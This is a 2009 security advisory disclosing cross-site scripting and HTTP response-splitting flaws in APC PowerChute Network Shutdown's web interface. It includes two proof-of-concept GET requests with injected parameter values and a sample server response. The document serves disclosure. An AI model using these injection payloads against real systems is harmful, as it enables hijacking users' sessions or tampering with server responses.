APC PowerChute Network Shutdown XSS

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Digital Security Research Group [DSecRG] Advisory #DSECRG-09-009  
------------------link to original advisory --------------------------  
http://www.dsecrg.com/pages/vul/show.php?id=82  
  
  
Application: APC PowerChute Network Shutdown's Web Interface  
Vendor URL: http://www.apc.com/  
Bug: XSS/Response Splitting  
Exploits: YES  
Reported: 20.10.2008  
Vendor Response: 20.10.2008  
Vendor Reference: 081020-000796  
Solution: Use Firewall  
Date of Public Advisory: 26.02.2009  
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
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Linked XSS and Response Splitting vulnerabilities found in APC PowerChute Network Shutdown's Web Interface.  
  
  
Details  
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1. Linked XSS Vulnerability found in script /security/applet vulnerable parameter - "referrer"  
  
  
Example  
*******  
  
GET /security/applet?referrer=>"'><img/src="javascript:alert('DSECRG_XSS')">   
  
  
2. Response Splitting Vulnerability found in script contexthelp. vulnerable parameter - "page"  
  
  
Example  
*******  
  
GET /contexthelp?page=Foobar?%0d%0aDSECRG_HEADER:testvalue HTTP/1.0  
  
response:  
  
HTTP/1.0 302 Moved temporarily  
Content-Length: 0  
Date: ×ò, 25 ñåí 2008 10:47:42 GMT  
Server: Acme.Serve/v1.7 of 13nov96  
Connection: close  
Expires: 0  
Cache-Control: no-cache  
Content-type: text/html  
Location: help/english/Foobar?  
DSECRG_HEADER:testvalue  
Content-type: text/html  
  
  
  
Solution  
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http://nam-en.apc.com/cgi-bin/nam_en.cfg/php/enduser/std_adp.php?p_faqid=9539  
  
  
A low-risk web interface vulnerability has been discovered in the PowerChute Business Edition Shutdown Agent.  
This issue is scheduled to be addressed in a release of the application.  
While the severity of this vulnerability has been determined to be minimal,  
it is recommended that user's continue to ensure the highest level of protection possible through the placement of PowerChute Business Edition behind a firewall.  
  
  
References  
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http://nam-en.apc.com/cgi-bin/nam_en.cfg/php/enduser/std_adp.php?p_faqid=9539  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.  
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsecrg [dot] com  
http://www.dsecrg.com  
  
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